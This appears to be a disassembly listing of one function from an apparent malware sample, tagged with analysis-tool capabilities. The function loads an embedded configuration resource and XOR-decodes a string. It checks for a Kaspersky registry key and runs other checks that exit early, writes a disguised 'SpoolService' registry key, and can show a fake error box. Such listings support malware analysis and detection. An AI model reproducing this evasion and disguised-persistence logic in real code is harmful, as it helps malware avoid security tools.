Function at 0x403480
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x184
mov eax, dword [0x41e184]
xor eax, esp
mov dword [esp + 0x180], eax
push ebx
push esi
push edi
push 0
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], 0
mov byte [esp + 0x28], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.DLL_FindResourceA]
push 0x1233
mov esi, eax
push 0x2000
push esi
call edi
test eax, eax
je 0x40380d
mov ebx, dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
push esi
call ebx
test eax, eax
je 0x40380d
push 0x1233
push 0x3000
push esi
call edi
test eax, eax
je 0x4034fe
push eax
push esi
call ebx
mov ecx, eax
lea esi, [ecx + 1]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x403503
sub ecx, esi
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.00401900
push 4
push str.1__
lea eax, [esp + 0x28]
push eax
call fcn.00404b20
cmp eax, 0xffffffff
je 0x4035ef
add eax, 4
push eax
push 0
lea ecx, [esp + 0x28]
call fcn.004019d0
push 3
push 0x41b700
lea ecx, [esp + 0x28]
push ecx
call fcn.00404b20
push eax
xor ecx, ecx
lea esi, [esp + 0x40]
lea edx, [esp + 0x24]
call fcn.004016c0
mov edi, dword [esp + 0x40]
mov ebx, 0x10
cmp dword [esp + 0x54], ebx
jae 0x403576
lea edi, [esp + 0x40]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push edi
push 0x420100
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
cmp esi, 0x104
jae 0x4035b5
xor cl, cl
test esi, esi
jbe 0x4035b5
xor eax, eax
jmp 0x4035a0
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x4035a0
xor eax, eax
jmp 0x4035c0
mov cl, byte [eax + 0x420100]
mov byte [esp + eax + 0x58], cl
add eax, 1
test cl, cl
jne 0x4035c0
cmp dword [esp + 0x54], ebx
mov esi, 1
mov dword [esp + 0x14], esi
jb 0x4035f4
mov eax, dword [esp + 0x40]
push eax
call fcn.004067fd
add esp, 4
jmp 0x4035f4
mov esi, 1
push 4
push str.2__
lea ecx, [esp + 0x28]
push ecx
call fcn.00404b20
cmp eax, 0xffffffff
je 0x403610
mov dword [0x420318], esi
push 4
push str.3__
lea edx, [esp + 0x28]
push edx
call fcn.00404b20
cmp eax, 0xffffffff
je 0x40362a
mov dword [esp + 0x18], esi
push 4
push str.4__
lea eax, [esp + 0x28]
push eax
call fcn.00404b20
cmp eax, 0xffffffff
mov edi, esi
jne 0x403646
mov edi, dword [esp + 0x10]
push 4
push str.5__
lea ecx, [esp + 0x28]
push ecx
call fcn.00404b20
cmp eax, 0xffffffff
mov ebx, esi
jne 0x403662
mov ebx, dword [esp + 0x10]
push 7
push str.6____
lea edx, [esp + 0x28]
push edx
call fcn.00404b20
cmp eax, 0xffffffff
je 0x4036ae
add eax, 7
push eax
push 0
lea ecx, [esp + 0x28]
call fcn.004019d0
cmp dword [esp + 0x38], 0x10
mov ecx, dword [esp + 0x24]
jae 0x403696
lea ecx, [esp + 0x24]
lea edx, [esp + 0x3c]
lea ebx, [ebx]
mov al, byte [ecx]
mov byte [edx], al
add ecx, esi
add edx, esi
test al, al
jne 0x4036a0
jmp 0x4036b2
mov esi, dword [esp + 0x10]
push 7
push str.0____
lea eax, [esp + 0x28]
push eax
call fcn.00404b20
cmp eax, 0xffffffff
je 0x4036fe
add eax, 7
push eax
push 0
lea ecx, [esp + 0x28]
call fcn.004019d0
cmp dword [esp + 0x38], 0x10
mov ecx, dword [esp + 0x24]
jae 0x4036e6
lea ecx, [esp + 0x24]
lea edx, [esp + 0x3c]
lea ebx, [ebx]
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x4036f0
cmp edi, 1
jne 0x40372e
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push str.SOFTWAREKasperskyLab_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40372e
cmp eax, 2
setne al
test al, al
jne 0x40380d
cmp esi, 1
jne 0x403740
call fcn.00401220
test al, al
jne 0x40380d
cmp ebx, 1
jne 0x40375f
call fcn.004010f0
test al, al
jne 0x40380d
call fcn.00401040
test al, al
jne 0x40380d
cmp dword [esp + 0x18], 1
jne 0x403773
call fcn.00401570
test eax, eax
jne 0x40380d
mov eax, 1
cmp dword [0x420318], eax
jne 0x4037e6
call fcn.00402c40
test eax, eax
je 0x4037ab
cmp dword [esp + 0x14], 1
jne 0x4037a4
push 0x10
push str.Error
lea edx, [esp + 0x60]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [esp + 0x3c]
push eax
jmp 0x403805
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftSpoolService
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00402630
call fcn.004029b0
jmp 0x40380d
cmp dword [esp + 0x14], eax
jne 0x403800
push 0x10
push str.Error
lea eax, [esp + 0x60]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [esp + 0x3c]
push ecx
call fcn.00402db0
add esp, 4
cmp dword [esp + 0x38], 0x10
jb 0x403821
mov edx, dword [esp + 0x24]
push edx
call fcn.004067fd
add esp, 4
mov ecx, dword [esp + 0x18c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.004066c5
mov esp, ebp
pop ebp
ret 0x10